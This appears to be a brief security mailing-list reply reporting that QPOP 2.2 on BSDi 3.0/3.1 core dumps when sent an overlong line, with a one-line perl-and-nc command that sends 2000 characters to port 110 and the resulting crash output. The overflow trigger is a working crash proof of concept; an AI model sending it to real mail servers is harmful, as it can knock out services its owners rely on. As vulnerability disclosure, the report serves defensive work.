 Stock BSDi 3.0(3.1) all the latest patches(M310-034) DOES core dump , but
does not print out the 'ERR', so BSDi people may want to keep that in
mind..

Example:

$ perl -e 'print "e"x2000,"\r\nQUIT\r\n";' | nc -i 2 localhost 110
+OK QPOP (version 2.2-krb-IV) at llama.ackley.net starting.  <<v2.2
<8667.898965122 () llama ackley net>
$ ls -l /pop* ; date
-rw-------  1 root  wheel  155648 Jun 27 09:32 /popper.core

I also tested with 2.4, and 2.41beta1, applying patches now and will see
what it does..
